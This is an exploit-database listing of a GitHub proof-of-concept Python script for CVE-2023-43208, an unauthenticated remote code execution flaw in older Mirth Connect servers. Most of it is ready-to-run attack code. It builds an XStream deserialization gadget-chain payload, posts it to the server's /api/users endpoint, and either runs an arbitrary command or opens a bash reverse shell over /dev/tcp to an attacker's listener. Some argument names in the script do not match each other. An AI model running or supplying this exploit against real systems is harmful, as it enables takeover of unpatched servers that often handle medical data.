Exploit database

GH-589ddb4b4c6b88527a8bccedc2ecfbd2

criz117/cve-2023-43208-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-43208

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
criz117/cve-2023-43208-pocRevision 5241462a887f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-43208.py

Suggested starting filePython · 7,368 bytes
#!/usr/bin/env python3
"""
CVE-2023-43208 - Mirth Connect Unauthenticated RCE
Affects Mirth Connect < 4.4.1
Usage: python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

Author: Criz117
"""

import argparse
import base64
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def build_xml_payload(command: str) -> str:
    # XML-encode special characters
    command = (
        command
        .replace("&", "&amp;")
        .replace("<", "&lt;")
        .replace(">", "&gt;")
        .replace('"', "&quot;")
        .replace("'", "&apos;")
    )
    return f"""<sorted-set>
    <string>abcd</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="org.apache.commons.collections4.functors.ChainedTransformer">
                <iTransformers>
                    <org.apache.commons.collections4.functors.ConstantTransformer>
                        <iConstant class="java-class">java.lang.Runtime</iConstant>
                    </org.apache.commons.collections4.functors.ConstantTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>getMethod</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.String</java-class>
                            <java-class>[Ljava.lang.Class;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <string>getRuntime</string>
                            <java-class-array/>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>invoke</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.Object</java-class>
                            <java-class>[Ljava.lang.Object;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <null/>
                            <object-array/>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>exec</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.String</java-class>
                        </iParamTypes>
                        <iArgs>
                            <string>{command}</string>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                </iTransformers>
            </target>
            <methodName>transform</methodName>
            <eventTypes>
                <string>compareTo</string>
            </eventTypes>
        </handler>
    </dynamic-proxy>
</sorted-set>"""


def check_version(target: str) -> str | None:
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/xml",
    }
    try:
        r = requests.get(
            target.rstrip("/") + "/api/server/version",
            headers=headers,
            verify=False,
            timeout=10,
        )
        ver = r.text.strip()
        return ver
    except requests.RequestException as e:
        print(f"[-] Could not reach target: {e}")
        return None


def send_payload(target: str, command: str) -> int:
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/xml",
    }
    xml = build_xml_payload(command)
    try:
        r = requests.post(
            target.rstrip("/") + "/api/users",
            headers=headers,
            data=xml,
            verify=False,
            timeout=20,
        )
        return r.status_code
    except requests.RequestException:
        # Connection reset is expected as the server may crash mid-request
        return 500


def make_reverse_shell_cmd(lhost: str, lport: int) -> str:
    # Base64-encode the bash reverse shell to avoid Runtime.exec() issues
    # with special characters, pipes, and redirects
    shell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    b64 = base64.b64encode(shell.encode()).decode()
    # Use brace expansion to avoid spaces in the exec'd command
    return f"bash -c {{echo,{b64}}}|{{base64,-d}}|bash"


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2023-43208 - Mirth Connect <4.4.1 Unauthenticated RCE"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g. https://10.10.10.10/)")
    parser.add_argument("-l", "--host", help="Your IP for reverse shell")
    parser.add_argument("-p", "--port", type=int, help="Your port for reverse shell")
    parser.add_argument("-c", "--cmd", help="Single command to execute (instead of reverse shell)")
    parser.add_argument("--check", action="store_true", help="Only check version, don't exploit")
    args = parser.parse_args()

    target = args.url.rstrip("/")

    print(f"\n[*] Target: {target}")

    # Version check
    print("[*] Checking Mirth Connect version...")
    ver = check_version(target)
    if ver is None:
        sys.exit(1)

    print(f"[*] Version: {ver}")

    from packaging import version as pkg_version
    if pkg_version.parse(ver) < pkg_version.parse("4.4.1"):
        print(f"[+] Version {ver} is VULNERABLE (< 4.4.1)")
    else:
        print(f"[-] Version {ver} does not appear vulnerable.")
        if not args.cmd and not (args.lhost and args.lport):
            sys.exit(1)

    if args.check:
        sys.exit(0)

    # Build command
    if args.cmd:
        # Auto base64-encode the command so Runtime.exec() can handle
        # any special characters, pipes, redirects, etc.
        b64 = base64.b64encode(args.cmd.encode()).decode()
        command = f"bash -c {{echo,{b64}}}|{{base64,-d}}|bash"
        print(f"[*] Executing command: {args.cmd}")
        print(f"[*] Base64-encoded payload: {command}")
        status = send_payload(target, command)
        print(f"[*] Server responded with HTTP {status} (500 is normal/expected)")

    elif args.host and args.port:
        command = make_reverse_shell_cmd(args.host, args.port)
        print(f"\n[*] Reverse shell payload targeting {args.host}:{args.port}")
        print(f"[!] Start your listener:  nc -lvnp {args.port}")
        input("[*] Press ENTER when your listener is ready...")

        print("[*] Sending exploit payload...")
        status = send_payload(target, command)
        print(f"[*] Server responded with HTTP {status} (500 is normal/expected)")
        print("[*] Check your listener for a shell!")

    else:
        print("[-] Provide either -c COMMAND or both -h HOST and -p PORT")
        parser.print_help()
        sys.exit(1)


if __name__ == "__main__":
    main()